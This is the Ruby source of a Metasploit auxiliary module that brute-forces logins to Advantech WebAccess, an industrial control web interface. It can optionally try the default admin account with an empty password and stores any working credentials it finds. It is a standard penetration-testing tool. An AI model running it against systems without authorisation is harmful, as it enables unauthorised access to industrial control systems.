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advantech_webaccess_login.rb
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advantech_webaccess_login.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/login_scanner/advantech_webaccess'
require 'metasploit/framework/credential_collection'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Advantech WebAccess Login',
'Description' => %q{
This module will attempt to authenticate to Advantech WebAccess.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'RPORT' => 80
}
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Advantech WebAccess', '/']),
OptBool.new('TRYDEFAULT', [false, 'Try the default credential admin:[empty]', false])
])
end
def scanner(ip)
@scanner ||= lambda {
cred_collection = build_credential_collection(
username: datastore['USERNAME'],
password: datastore['PASSWORD']
)
if datastore['TRYDEFAULT']
print_status("Default credential admin:[empty] added to the credential queue for testing.")
cred_collection.add_public('admin')
cred_collection.add_private('')
end
return Metasploit::Framework::LoginScanner::AdvantechWebAccess.new(
configure_http_login_scanner(
host: ip,
port: datastore['RPORT'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
http_username: datastore['HttpUsername'],
http_password: datastore['HttpPassword'],
uri: target_uri.path
))
}.call
end
def report_good_cred(ip, port, result)
service_data = {
address: ip,
port: port,
service_name: 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: result.credential.private,
private_type: :password,
username: result.credential.public,
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
last_attempted_at: DateTime.now,
status: result.status,
proof: result.proof
}.merge(service_data)
create_credential_login(login_data)
end
def report_bad_cred(ip, rport, result)
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status,
proof: result.proof
)
end
def bruteforce(ip)
scanner(ip).scan! do |result|
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")
report_good_cred(ip, rport, result)
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)
report_bad_cred(ip, rport, result)
when Metasploit::Model::Login::Status::INCORRECT
vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")
report_bad_cred(ip, rport, result)
end
end
end
def run_host(ip)
unless scanner(ip).check_setup
print_brute(:level => :error, :ip => ip, :msg => 'Target is not Advantech WebAccess')
return
end
bruteforce(ip)
end
end